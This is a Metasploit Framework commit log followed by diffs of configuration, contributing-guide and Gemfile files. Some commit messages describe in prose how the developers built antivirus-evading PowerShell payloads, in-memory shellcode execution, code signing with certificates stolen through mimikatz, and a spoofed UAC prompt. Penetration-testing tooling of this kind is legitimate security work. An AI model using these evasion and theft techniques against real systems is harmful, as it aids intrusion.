Meatballs 038aae5adb Run as jobs 2014-02-09 19:30:16 +00:00
Meatballs 1c169e2935 Uniq results 2014-02-09 17:52:06 +00:00
Meatballs 6972b8eb7b Merge branch 'pr2075' into powershell_remoting 2014-02-09 17:46:08 +00:00
Meatballs c76341c82d Dont dsub Invoke-Command etc... 2014-02-09 17:45:30 +00:00
Meatballs 2cea90f931 Working remoting 2014-02-09 17:43:44 +00:00
Meatballs 151e45d8d1 Better exception descriptions 2014-02-09 12:52:56 +00:00
Meatballs 77dda5dc67 Give option to remove badchars 2014-02-09 12:34:25 +00:00
Meatballs 0379dc128c Raise exception on known issues 2014-02-09 12:15:02 +00:00
Meatballs a00481beb4 Auto target psexec/psh_web 2014-02-09 11:47:15 +00:00
Meatballs 1f9b452425 Dont tidy up template yet 2014-02-09 11:23:39 +00:00
Meatballs f1959f5313 Fixup WMI 2014-02-09 11:18:15 +00:00
Meatballs 02f1ff27ee Add option to encode inner payload 2014-02-09 00:55:26 +00:00
Meatballs f398c982e3 Include option to ensure payload is fully encoded 2014-02-08 23:51:13 +00:00
Meatballs ad308efc05 Really minimize commandline size 2014-02-08 22:53:47 +00:00
Meatballs c37cb5075c Merge remote-tracking branch 'upstream/master' into pr2075 2014-02-08 22:11:31 +00:00
Meatballs c76862b391 Reduce payload size 2014-02-08 22:11:17 +00:00
Meatballs b10df54dbb Dont need to encode the compress payload 2014-02-08 21:34:51 +00:00
Meatballs 09c48358f4 Retab rex powershell 2014-02-08 20:43:04 +00:00
Karn Ganeshen 4c01420f38 msftidy done 2014-02-06 16:52:39 +02:00
Karn Ganeshen 036ae2fd80 msftidy done 2014-02-06 16:25:41 +02:00
Karn Ganeshen 2c0ce2dffc PocketPAD login 2014-02-05 20:22:52 +02:00
Karn Ganeshen 32e46c00d3 Rename ehterpadduo_login.rb to etherpadduo_login.rb 2014-02-05 20:21:16 +02:00
Karn Ganeshen 73418a975a Rename ehterpadduo_login to ehterpadduo_login.rb 2014-02-05 20:20:30 +02:00
Karn Ganeshen 88b2e6b1c3 EtherPAD Duo Login
I've run it through retab. Msfpro loads the module fine. msftidy seems broken though. Gives this on run:
msftidy.rb:444: undefined (?...) sequence: /(?<!\.)datastore\[["'][^"']+["']\]\s*=(?![=~>])/

BR
2014-02-05 20:17:11 +02:00
Ahmed Elhady Mohamed 003c1276cd The module has been updated 2014-01-28 00:31:02 +02:00
dukeBarman 88c283880a Fix bugs 2014-01-18 17:04:46 -05:00
dukeBarman 766c408d86 Add CVE-2013-0634: Adobe Flash Player 11.5 memory corruption 2014-01-18 11:07:11 -05:00
Ahmed Elhady Mohamed c6c37fe7b5 arbitrary file upload vulnerability found in GetSimple CMS by abusing 2014-01-17 06:35:33 +02:00
OJ 524bbceb1a Merge branch 'upstream/master' into ext_server_kiwi 2014-01-17 11:53:07 +10:00
jiuweigui 5f5ca1c011 Minor fix based on suggestions 2014-01-14 20:56:14 +02:00
jiuweigui 9a81420e90 Enumerate WinXP/7 MUICache registry key 2014-01-10 13:21:47 +02:00
OJ 0f722cbe6d Add ext_server_kiwi, which is Mimikatz v2
This is a separate extension because the new version doesn't support
as many operating systems as the old version, but it does have more
new features which are really funky.
2014-01-10 16:51:01 +10:00
Meatballs1 c6d1f3bbc8 Merge pull request #31 from todb-r7/pr1421-unconflict
Unconflict rapid7/metasploit-framework#1421
2014-01-01 07:37:20 -08:00
Tod Beardsley feaf6c23cf Merge and Unconflict client.rb, new module splat
The only conflict was the regex option for no encoding, which was added
after @Meatballs1's original PR for rapid7/metasploit-framework#1421

Also fixes the module with the new license splat.

Conflicts:
	lib/rex/proto/smb/client.rb
2013-12-30 16:53:13 -06:00
Meatballs 435cc9b93f Add single quote encapsulation
For WMI and psh_web_delivery
2013-12-16 15:13:13 +00:00
Meatballs b252e7873b Merge remote-tracking branch 'upstream/master' into pr2075 2013-12-16 14:29:05 +00:00
b00stfr3ak 0cf1b7fece add original ask.rb 2013-12-09 14:35:31 -07:00
b00stfr3ak 1d07b2bbfa Revert "removed ask file, already in pull request 2551"
This reverts commit 5ceda7c042.
2013-12-09 14:31:43 -07:00
Meatballs cd68b10bcf Broadcast needs a decent WfsDelay.
Due to the multi railgun changes. Because they return quickly but
the process is still broadcasting them the exploit thinks work has
finished...
2013-11-23 19:18:13 +00:00
Meatballs 6c83109422 Really fix wmi 2013-11-23 16:44:44 +00:00
Meatballs 259d5a2dba Backout Set-Variable as it is 3.0 only 2013-11-23 01:15:13 +00:00
Meatballs 1c60373f68 Reinstate %COMSPEC% 2013-11-23 00:45:04 +00:00
Meatballs c194fdc67e Fixup WMI
-c doesn't like $var assignments
2013-11-23 00:31:11 +00:00
Meatballs ec36cebeb4 Update cmd_psh_payloads to send the architecture. 2013-11-22 23:31:33 +00:00
Meatballs 622a1dccda Update wmi to use generated powershell command line 2013-11-22 23:18:22 +00:00
Meatballs 9835649858 Update hwnd_broadcast to use generated powershell command line. 2013-11-22 23:04:44 +00:00
Meatballs c5007f67ab Retab psexec_psh 2013-11-22 23:00:36 +00:00
Meatballs 3cbf768d16 Small size reductions 2013-11-22 22:58:42 +00:00
Meatballs 20b76602a1 Merge remote-tracking branch 'upstream/master' into pr2075
Conflicts:
	lib/msf/core/exploit/powershell.rb
2013-11-22 22:41:08 +00:00
Rich Lundeen c3113f796e Incorporating a few more cleanup items from jvazquez 2013-10-31 21:32:58 -07:00
Rich Lundeen cbfef6ec7a incoporating jvazquez feedback 2013-10-31 00:17:50 -07:00
b00stfr3ak 5ceda7c042 removed ask file, already in pull request 2551 2013-10-25 14:46:50 -07:00
b00stfr3ak a476595ddb Added require to post/windows 2013-10-25 14:42:22 -07:00
b00stfr3ak 84999115d7 Added PSH option if UAC is turned off
This will give the option to drop an exe or use psh if uac is turned
off.  The lib can be used for post exploitation to drop an exe or use
powershell and then execute it with the runas command.  I have used the
lib for both bypassuac and ask.
2013-10-25 14:37:12 -07:00
b00stfr3ak 868b70c9ed Added priv lib and runas lib
Cleaned up code with using the new lib files
2013-10-25 14:05:33 -07:00
b00stfr3ak c2a69239ee Merge remote-tracking branch 'upstream/master' 2013-10-23 12:08:05 -07:00
b00stfr3ak a5eb61c6f9 Merge remote-tracking branch 'upstream/master' 2013-10-23 09:54:30 -07:00
b00stfr3ak a06c0a9575 Merge branch 'local/ask' 2013-10-22 16:06:16 -07:00
b00stfr3ak 69131323af Merge remote-tracking branch 'upstream/master' 2013-10-22 16:05:19 -07:00
Meatballs 4fc8bb2b4b Auto arch detection 2013-10-22 00:42:59 +01:00
b00stfr3ak 9695b2d662 Added check method
The method checks to see if the user is a part of the admin group.  If
the user is the exploit continues, if not the exploit stops because it
will prompt the user for a password instead of just clicking ok.
2013-10-21 11:57:50 -07:00
b00stfr3ak 6881774c03 Updated with comments from jlee-r7 and Meatballs1
Added fail_with instead of just print_error
figured a way to execute the cmd_psh_payload with out using gsub
added case statment for datastore['TECHNIQUE']
2013-10-20 01:15:51 -07:00
b00stfr3ak 6de279733c Merge branch 'local/ask' 2013-10-19 10:51:55 -07:00
b00stfr3ak a5dc75a82e Added PSH option to windows/local/ask exploit
Gives you the ability to use powershell to 'ask' for admin rights if the
user has them.  Using powershell makes the pop up blue instead of orange
and states that the company is Microsoft, it also doesn't drop an exe
on the system.  Looks like 32 bit https works but if you migrate out you
loose priv and if you run cachedump the session hangs.
2013-10-19 00:15:38 -07:00
Meatballs 971d0b7536 Generate args 2013-09-27 12:48:10 +01:00
Meatballs 5add142789 Choose smallest smallest 2013-09-20 13:47:51 +01:00
Meatballs 9aca98a9d4 Dont need to bypass 2013-09-17 19:12:49 +01:00
Meatballs d6f2da690a Fix web delivery 2013-09-13 21:27:59 +01:00
Meatballs 60328d5b2a Bypass no profile and hidden by default 2013-09-13 21:22:15 +01:00
Meatballs b4d1fd6ff8 Fixup rex text 2013-09-13 21:15:28 +01:00
Meatballs 5a5b67b393 Get lastest exe 2013-09-13 21:01:04 +01:00
Meatballs 2b6445385c Merge 2013-09-13 20:46:54 +01:00
Meatballs df19d69e62 Merge branch 'master' of github.com:rapid7/metasploit-framework into pr2075 2013-09-13 20:43:49 +01:00
Meatballs 9ade4cb671 Refactor 2013-09-13 20:43:09 +01:00
Meatballs aa4ad2b005 Change to ' and remove " 2013-09-13 20:23:18 +01:00
Meatballs 243d3d6ebd Apply comments 2013-09-13 19:19:54 +01:00
Meatballs b241b5a894 Apply comments 2013-09-13 19:15:39 +01:00
Meatballs1 7c7b571392 Merge pull request #24 from tabassassin/retab/pr/1421
Retab/pr/1421
2013-09-05 14:45:15 -07:00
Tab Assassin 785c2eeb95 Retab changes for PR #1421 2013-09-05 16:20:04 -05:00
Tab Assassin a5cf67a9af Merge for retab 2013-09-05 16:19:51 -05:00
staaldraad b72f42552d Merge pull request #3 from tabassassin/retab/pr/2107
Retab/pr/2107
2013-09-05 13:06:40 -07:00
Tab Assassin 874ed2ac17 Retab changes for PR #2107 2013-09-05 14:30:08 -05:00
Tab Assassin 27564b2de2 Merge for retab 2013-09-05 14:30:03 -05:00
Tab Assassin 6b330ad39f Retab changes for PR #2134 2013-09-05 14:24:37 -05:00
Tab Assassin 52ce6afd99 Merge for retab 2013-09-05 14:24:31 -05:00
staaldraad 79a127788a Merge pull request #2 from Meatballs1/pr2107
Spacing and bugfixes
2013-09-02 21:22:47 -07:00
Meatballs 13244efecf Spacing and bugfixes 2013-09-02 21:57:11 +01:00
staaldraad 3e1efbfa2d Merge pull request #1 from Meatballs1/pr2107
Refactor to common post module
2013-09-02 13:17:40 -07:00
Meatballs 051ef0bdfa Refactor to common post module 2013-09-02 20:24:54 +01:00
RageLtMan 2c850d8f8b Merge branch 'powershell_import' of github.com:sempervictus/metasploit-framework into powershell_import 2013-07-31 18:39:46 -04:00
RageLtMan 7c46e95e8f Merge branch 'master' of https://github.com/rapid7/metasploit-framework into powershell_import 2013-07-31 18:34:57 -04:00
RageLtMan 976c058941 Merge pull request #5 from Meatballs1/psh_merge
Looks good from here, though we may want to address the all caps opt names.
2013-07-29 23:17:55 -07:00
Meatballs d2e57eaf4e Merge remote-tracking branch 'origin/psh_merge' into psh_merge 2013-07-29 15:33:14 +01:00
Meatballs e1cfe7cfe2 Update datastore changes 2013-07-29 15:31:59 +01:00
Meatballs 59a2c7e940 Merge Upstream Exploit::Powershell 2013-07-29 15:24:29 +01:00
Meatballs eb3f83f26f Merge remote-tracking branch 'remotes/semperv/powershell_import' into psh_merge
Conflicts:
	modules/exploits/windows/smb/psexec_psh.rb
2013-07-29 15:17:52 +01:00
Meatballs 176de5a380 Selective psexec_psh merge. 2013-07-29 15:13:59 +01:00
RageLtMan b3fab9a342 Fix git branch mauling - reintroduce psexec_psh
Replace powershell lib which snuck in as psexec_psh.
Introduce psexec_psh module which uses the Rex and Msf PSH
methods provided in the lib import.
2013-07-28 19:23:37 -04:00
jakxx 6b64819ddc Updated Description 2013-07-25 16:50:21 -04:00
jakxx b26c24954f Merge remote-tracking branch 'upstream/master' 2013-07-22 12:35:39 -04:00
RageLtMan 4df3b0215c replace lib/msf/core/exploit/powershell.rb, thanks @Meatballs1 2013-07-20 19:55:01 -04:00
RageLtMan 9d93891395 Import old powershell post lib from master
This is temporary and rather messy. Since the internals for
dealing with PSH code have moved to Rex there may be a hiccup or
two here. This was my original attempt at basic PSH integration
and does not make use of the new libraries and namespaces in
this PR.

Will introduce the updated modules and libraries in separate PR.
2013-07-20 19:33:19 -04:00
RageLtMan eb185375f7 Trim to core requirements
Remove .NET compiler, post lib and modules.
2013-07-20 19:31:26 -04:00
RageLtMan dc15c5b505 Merge branch 'master' into powershell_import
Resolve conflicts from old code being pulled into master.

Conflicts:
	lib/msf/core/exploit/powershell.rb
	modules/exploits/windows/smb/psexec_psh.rb
2013-07-20 19:29:55 -04:00
RageLtMan cd14569dcf Revert "post/local_admin_search_enum~Regex fails,module 2"
@g0tm1lk: no clue, you must've pwned me in your sl33p. :)
2013-07-20 19:26:03 -04:00
Rich Lundeen 12e48e252f one more logdir fix, tested 2013-07-20 10:40:06 -07:00
Rich Lundeen 5fd8d53378 fixed bug with default logdir 2013-07-20 10:35:25 -07:00
Rich Lundeen 183cd7337d added ability to execute larger scripts 2013-07-19 15:24:51 -07:00
jakxx ba45e4e60c Removed Revision 2013-07-19 11:09:48 -04:00
jakxx f402e00a15 Added powershell psexec module 2013-07-19 10:04:49 -04:00
staaldraad d3903aaeac changed to use already defined netapi32.NetServerEnum - tested 2013-07-16 06:49:05 +02:00
staaldraad dfa8c86408 updated enum_domain_users with Meatballs1 suggestions 2013-07-16 06:41:58 +02:00
staaldraad 7c48441d53 added enum_domain_users post module 2013-07-15 22:02:46 +02:00
RageLtMan 4554cc6e51 Import Powershell libs and modules (again)
Add Rex powershell parser:
 reads PSH, determines functions, variables, blocks
 compresses and cleans up the code it's read, obfuscates
 handles string literals and reserved variable names
 extracts code blocks and functions for reuse
  turns powersploit into a useful sub-component for MSF
Rewire Msf powershell modules
 Make use of Rex parser
 Handles payload generation, substituions
 Brings convenience methods - byte array generation and download
 Re-add .NET compiler
  Compiles .NET code (C#/VB.NET) in memory
  Can generate binary output file (dynamic persistence)
  Handles code-signing (steal cert with mimikatz, sign your bin)
  Not detected by AV (still...)
 Update payload generation
  GZip compression and decompression (see Rex module as well)
  msftidy violations for space efficiency - each char counts
Re-submit psexec-psh
 Makes use of updated Msf and Rex modules
 Runs shellcode in-memory (in a hidden PSH window)
 Completely bypasses all AVs tested for the last year...
2013-07-04 14:04:19 -04:00
g0tmi1k 595e538783 post/local_admin_search_enum~Regex fails,module 2
If the regex fails then the entire moudle would too
2013-07-04 13:27:07 -04:00
Meatballs 739204b86d Build upon A.Maloteaux's SMB fixes 2013-01-31 20:17:25 +00:00
Meatballs 1e60817ec9 Remember the SMB Changes 2013-01-31 20:07:48 +00:00
Meatballs edc61a1986 Repull 2013-01-31 20:02:10 +00:00
3998 changed files with 113169 additions and 74293 deletions
+34 -2
View File
@@ -1,20 +1,28 @@
.bundle
Gemfile.local
Gemfile.local.lock
# Rubymine project directory
.idea
# Sublime Text project directory (not created by ST by default)
.sublime-project
# RVM control file, keep this to avoid backdooring Metasploit
.rvmrc
# Allow for a local choice of (unsupported / semi-supported) ruby versions
# See PR #4136 for usage, but example usage for rvm:
# rvm --create --versions-conf use 2.1.4@metasploit-framework
# Because rbenv doesn't use .versions.conf, to achieve this same functionality, run:
# rbenv shell 2.1.4
.versions.conf
# YARD cache directory
.yardoc
# Mac OS X files
.DS_Store
# database config for testing
config/database.yml
# target config file for testing
features/support/targets.yml
# simplecov coverage data
coverage
data/meterpreter/ext_server_pivot.x86.dll
data/meterpreter/ext_server_pivot.x64.dll
doc/
external/source/meterpreter/java/bin
external/source/meterpreter/java/build
@@ -48,6 +56,30 @@ tags
*.opensdf
*.user
# Rails log directory
/log
# Rails tmp directory
/tmp
# ignore release/debug folders for exploits
external/source/exploits/**/Debug
external/source/exploits/**/Release
# Avoid checking in Meterpreter binaries. These are supplied upstream by
# the meterpreter_bins gem.
data/meterpreter/elevator.*.dll
data/meterpreter/ext_server_espia.*.dll
data/meterpreter/ext_server_extapi.*.dll
data/meterpreter/ext_server_incognito.*.dll
data/meterpreter/ext_server_kiwi.*.dll
data/meterpreter/ext_server_lanattacks.*.dll
data/meterpreter/ext_server_mimikatz.*.dll
data/meterpreter/ext_server_priv.*.dll
data/meterpreter/ext_server_stdapi.*.dll
data/meterpreter/metsrv.*.dll
data/meterpreter/screenshot.*.dll
# Avoid checking in Meterpreter libs that are built from
# private source. If you're interested in this functionality,
# check out Metasploit Pro: http://metasploit.com/download
data/meterpreter/ext_server_pivot.*.dll
+1
View File
@@ -18,6 +18,7 @@ todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
trosen-r7 <trosen-r7@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
trosen-r7 <trosen-r7@github> Trevor Rosen <trevor@catapult-creative.com>
wchen-r7 <wchen-r7@github> sinn3r <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>
+1
View File
@@ -1,2 +1,3 @@
--color
--format Fivemat
--require spec_helper
+84
View File
@@ -0,0 +1,84 @@
# This list was intially created by analyzing the last three months (51
# modules) committed to Metasploit Framework. Many, many older modules
# will have offenses, but this should at least provide a baseline for
# new modules.
#
# Updates to this file should include a 'Description' parameter for any
# explaination needed.
# inherit_from: .rubocop_todo.yml
Metrics/ClassLength:
Description: 'Most Metasploit modules are quite large. This is ok.'
Enabled: true
Exclude:
- 'modules/**/*'
Style/Documentation:
Enabled: true
Description: 'Most Metasploit modules do not have class documentation.'
Exclude:
- 'modules/**/*'
Style/Encoding:
Enabled: true
Description: 'We prefer binary to UTF-8.'
EnforcedStyle: 'when_needed'
Metrics/LineLength:
Description: >-
Metasploit modules often pattern match against very
long strings when identifying targets.
Enabled: true
Max: 180
Metrics/MethodLength:
Enabled: true
Description: >-
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
Max: 300
# Basically everything in metasploit needs binary encoding, not UTF-8.
# Disable this here and enforce it through msftidy
Style/Encoding:
Enabled: false
# %q() is super useful for long strings split over multiple lines and
# is very common in module constructors for things like descriptions
Style/UnneededPercentQ:
Enabled: false
Style/NumericLiterals:
Enabled: false
Description: 'This often hurts readability for exploit-ish code.'
Style/SpaceInsideBrackets:
Enabled: false
Description: 'Until module template are final, most modules will fail this.'
Style/StringLiterals:
Enabled: false
Description: 'Single vs double quote fights are largely unproductive.'
Style/WordArray:
Enabled: false
Description: 'Metasploit prefers consistent use of []'
Style/RedundantBegin:
Exclude:
# this pattern is very common and somewhat unavoidable
# def run_host(ip)
# begin
# ...
# rescue ...
# ...
# ensure
# disconnect
# end
# end
- 'modules/**/*'
Documentation:
Exclude:
- 'modules/**/*'
+1 -1
View File
@@ -1 +1 @@
1.9.3-p484
1.9.3-p551
-1
View File
@@ -39,7 +39,6 @@ SimpleCov.configure do
# Other library groups
#
add_group 'Fastlib', 'lib/fastlib'
add_group 'Metasm', 'lib/metasm'
add_group 'PacketFu', 'lib/packetfu'
add_group 'Rex', 'lib/rex'
+14 -4
View File
@@ -1,20 +1,30 @@
env:
- RAKE_TASK=cucumber
- RAKE_TASK=cucumber:boot
- RAKE_TASK=spec SPEC_OPTS="--tag content"
- RAKE_TASK=spec SPEC_OPTS="--tag ~content"
language: ruby
before_install:
- rake --version
- sudo apt-get update -qq
- sudo apt-get install -qq libpcap-dev
- ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
- ls -la ./.git/hooks
- ./.git/hooks/post-merge
# Uncomment when we have fewer shipping msftidy warnings.
# Merge committers will still be checking, just not autofailing.
# See https://dev.metasploit.com/redmine/issues/8498
# - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
# - ls -la ./.git/hooks
# - ./.git/hooks/post-merge
before_script:
- cp config/database.yml.travis config/database.yml
- bundle exec rake --version
- bundle exec rake db:create
- bundle exec rake db:migrate
script: "bundle exec rake $RAKE_TASK"
rvm:
#- '1.8.7'
- '1.9.3'
- '2.1'
notifications:
irc: "irc.freenode.org#msfnotify"
+3
View File
@@ -3,5 +3,8 @@
--exclude \.ut\.rb/
--exclude \.ts\.rb/
--files CONTRIBUTING.md,COPYING,HACKING,LICENSE
app/**/*.rb
lib/msf/**/*.rb
lib/metasploit/**/*.rb
lib/rex/**/*.rb
plugins/**/*.rb
+8
View File
@@ -0,0 +1,8 @@
# Changelog
# Next Release
* Enhancements
* [#4045](https://github.com/rapid7/metasploit-framework/pull/4045): Reorganize Msf::Module into submodule of related methods to reduce file size and allow for easier understanding of functionality - [@limhoff-r7](https://github.com/limhoff-r7)
* Bug Fixes
* Deprecations
* Incompatible Changes
+28 -12
View File
@@ -1,14 +1,33 @@
# Contributing to Metasploit
# Hello, World!
Thanks for your interest in making Metasploit -- and therefore, the
world -- a better place! What you see here in CONTRIBUTING.md is a
bullet-point list of the do's and don'ts of how to make sure *your*
valuable contributions actually make it into Metasploit's master branch.
world -- a better place!
Are you about to report a bug? Sorry to hear it.
Here's our [Issue tracker](https://github.com/rapid7/metasploit-framework/issues).
Please try to be as specific as you can about your problem, include steps
to reproduce (cut and paste from your console output if it's helpful), and
what you were expecting to happen.
Are you about to report a security vulnerability in Metasploit itself?
How ironic! Please take a look at Rapid7's [Vulnerability
Disclosure Policy](https://www.rapid7.com/disclosure.jsp), and send
your report to security@rapid7.com using [our PGP key](http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D).
Are you about to contribute some new functionality, a bug fix, or a new
Metasploit module? If so, read on...
# Contributing to Metasploit
What you see here in CONTRIBUTING.md is a bullet-point list of the do's
and don'ts of how to make sure *your* valuable contributions actually
make it into Metasploit's master branch.
If you care not to follow these rules, your contribution **will** be
closed (*Road House* style). Sorry!
Incidentally, this is a **short** list. The
This is intended to be a **short** list. The
[wiki](https://github.com/rapid7/metasploit-framework/wiki) is much more
exhaustive and reveals many mysteries. If you read nothing else, take a
look at the standard [development environment setup
@@ -18,6 +37,7 @@ and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-f
## Code Contributions
* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide).
* *Do* get [Rubocop](https://rubygems.org/search?query=rubocop) relatively quiet against the code you are adding or modifying.
* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages.
* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`.
@@ -35,7 +55,7 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940)
#### New Modules
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb).
* **Do** use the [many module mixin APIs](https://dev.metasploit.com/documents/api/). Wheel improvements are welcome; wheel reinventions, not so much.
* **Do** use the [many module mixin APIs](https://dev.metasploit.com/api/). Wheel improvements are welcome; wheel reinventions, not so much.
* **Don't** include more than one module per pull request.
#### Library Code
@@ -48,18 +68,14 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940)
#### Bug Fixes
* **Do** include reproduction steps in the form of verification steps.
* **Do** include a link to the corresponding [Redmine](https://dev.metasploit.com/redmine/projects/framework) issue in the format of `SeeRM #1234` in your commit description.
* **Do** include a link to any corresponding [Issue](https://github.com/rapid7/metasploit-framework/issues) in the format of `See #1234` in your commit description.
## Bug Reports
* **Do** report vulnerabilities in Rapid7 software to security@rapid7.com.
* **Do** create a Redmine account and report your bug there.
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
* **Do** write a detailed description of your bug and use a descriptive title.
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
* **Don't** file duplicate reports - search for your bug before filing a new report.
* **Don't** report a bug on GitHub. Use [Redmine](https://dev.metasploit.com/redmine/projects/framework) instead.
Redmine issues [#8762](https://dev.metasploit.com/redmine/issues/8762) and [#8764](https://dev.metasploit.com/redmine/issues/8764) are a couple good examples to follow.
If you need some more guidance, talk to the main body of open
source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4)
+1 -1
View File
@@ -1,4 +1,4 @@
Copyright (C) 2006-2013, Rapid7, Inc.
Copyright (C) 2006-2014, Rapid7, Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
+21 -33
View File
@@ -1,33 +1,10 @@
source 'https://rubygems.org'
# Need 3+ for ActiveSupport::Concern
gem 'activesupport', '>= 3.0.0'
# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb)
gem 'bcrypt-ruby'
# Needed for some admin modules (scrutinizer_add_user.rb)
gem 'json'
# Needed by msfgui and other rpc components
gem 'msgpack'
# Needed by anemone crawler
gem 'nokogiri'
# Needed by anemone crawler
gem 'robots'
# Needed by db.rb and Msf::Exploit::Capture
gem 'packetfu', '1.1.9'
# Add default group gems to `metasploit-framework.gemspec`:
# spec.add_runtime_dependency '<name>', [<version requirements>]
gemspec name: 'metasploit-framework'
group :db do
# Needed for Msf::DbManager
gem 'activerecord'
# Database models shared between framework and Pro.
gem 'metasploit_data_models', '~> 0.17.0'
# Needed for module caching in Mdm::ModuleDetails
gem 'pg', '>= 0.11'
end
group :pcap do
gem 'network_interface', '~> 0.0.1'
# For sniffer and raw socket modules
gem 'pcaprub'
gemspec name: 'metasploit-framework-db'
end
group :development do
@@ -35,6 +12,8 @@ group :development do
gem 'redcarpet'
# generating documentation
gem 'yard'
# for development and testing purposes
gem 'pry'
end
group :development, :test do
@@ -42,19 +21,28 @@ group :development, :test do
# Version 4.1.0 or newer is needed to support generate calls without the
# 'FactoryGirl.' in factory definitions syntax.
gem 'factory_girl', '>= 4.1.0'
# automatically include factories from spec/factories
gem 'factory_girl_rails'
# Make rspec output shorter and more useful
gem 'fivemat', '1.2.1'
# running documentation generation tasks and rspec tasks
gem 'rake', '>= 10.0.0'
# testing framework
gem 'rspec', '>= 2.12', '< 3.0.0'
# Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the
# environment is development
gem 'rspec-rails' , '>= 2.12', '< 3.0.0'
end
group :pcap do
gemspec name: 'metasploit-framework-pcap'
end
group :test do
# Removes records from database created during tests. Can't use rspec-rails'
# transactional fixtures because multiple connections are in use so
# transactions won't work.
gem 'database_cleaner'
# testing framework
gem 'rspec', '>= 2.12'
# cucumber extension for testing command line applications, like msfconsole
gem 'aruba'
# cucumber + automatic database cleaning with database_cleaner
gem 'cucumber-rails', :require => false
gem 'shoulda-matchers'
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
+34
View File
@@ -0,0 +1,34 @@
##
# Example Gemfile.local file for Metasploit Framework
#
# The Gemfile.local file provides a way to use other gems that are not
# included in the standard Gemfile provided with Metasploit.
# This filename is included in Metasploit's .gitignore file, so local changes
# to this file will not accidentally show up in future pull requests. This
# example Gemfile.local includes all gems in Gemfile using instance_eval.
# It also creates a new bundle group, 'local', to hold additional gems.
#
# This file will not be used by default within the framework. As such, one
# must first install the custom Gemfile.local with bundle:
# bundle install --gemfile Gemfile.local
#
# Note that msfupdate does not consider Gemfile.local when updating the
# framework. If it is used, it may be necessary to run the above bundle
# command after the update.
#
###
# Include the Gemfile included with the framework. This is very
# important for picking up new gem dependencies.
msf_gemfile = File.join(File.dirname(__FILE__), 'Gemfile')
if File.readable?(msf_gemfile)
instance_eval(File.read(msf_gemfile))
end
# Create a custom group
group :local do
# Use pry-debugger to step through code during development
gem 'pry-debugger', '~> 0.2'
# Add the lab gem so that the 'lab' plugin will work again
gem 'lab', '~> 0.2.7'
end
+212 -49
View File
@@ -1,83 +1,246 @@
PATH
remote: .
specs:
metasploit-framework (4.10.1.pre.dev)
actionpack (< 4.0.0)
activesupport (>= 3.0.0, < 4.0.0)
bcrypt
jsobfu (~> 0.2.0)
json
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
meterpreter_bins (= 0.0.11)
msgpack
nokogiri
packetfu (= 1.1.9)
railties
rb-readline
recog (~> 1.0)
robots
rubyzip (~> 1.1)
sqlite3
tzinfo
metasploit-framework-db (4.10.1.pre.dev)
activerecord (< 4.0.0)
metasploit-credential (~> 0.13.3)
metasploit-framework (= 4.10.1.pre.dev)
metasploit_data_models (~> 0.21.1)
pg (>= 0.11)
metasploit-framework-pcap (4.10.1.pre.dev)
metasploit-framework (= 4.10.1.pre.dev)
network_interface (~> 0.0.1)
pcaprub
GEM
remote: https://rubygems.org/
specs:
activemodel (3.2.14)
activesupport (= 3.2.14)
actionmailer (3.2.19)
actionpack (= 3.2.19)
mail (~> 2.5.4)
actionpack (3.2.19)
activemodel (= 3.2.19)
activesupport (= 3.2.19)
builder (~> 3.0.0)
activerecord (3.2.14)
activemodel (= 3.2.14)
activesupport (= 3.2.14)
erubis (~> 2.7.0)
journey (~> 1.0.4)
rack (~> 1.4.5)
rack-cache (~> 1.2)
rack-test (~> 0.6.1)
sprockets (~> 2.2.1)
activemodel (3.2.19)
activesupport (= 3.2.19)
builder (~> 3.0.0)
activerecord (3.2.19)
activemodel (= 3.2.19)
activesupport (= 3.2.19)
arel (~> 3.0.2)
tzinfo (~> 0.3.29)
activesupport (3.2.14)
activeresource (3.2.19)
activemodel (= 3.2.19)
activesupport (= 3.2.19)
activesupport (3.2.19)
i18n (~> 0.6, >= 0.6.4)
multi_json (~> 1.0)
arel (3.0.2)
bcrypt-ruby (3.1.2)
arel (3.0.3)
arel-helpers (2.0.1)
activerecord (>= 3.1.0, < 5)
aruba (0.6.1)
childprocess (>= 0.3.6)
cucumber (>= 1.1.1)
rspec-expectations (>= 2.7.0)
bcrypt (3.1.9)
builder (3.0.4)
database_cleaner (1.1.1)
diff-lcs (1.2.4)
factory_girl (4.2.0)
capybara (2.4.1)
mime-types (>= 1.16)
nokogiri (>= 1.3.3)
rack (>= 1.0.0)
rack-test (>= 0.5.4)
xpath (~> 2.0)
childprocess (0.5.3)
ffi (~> 1.0, >= 1.0.11)
coderay (1.1.0)
cucumber (1.2.1)
builder (>= 2.1.2)
diff-lcs (>= 1.1.3)
gherkin (~> 2.11.0)
json (>= 1.4.6)
cucumber-rails (1.4.0)
capybara (>= 1.1.2)
cucumber (>= 1.2.0)
nokogiri (>= 1.5.0)
rails (>= 3.0.0)
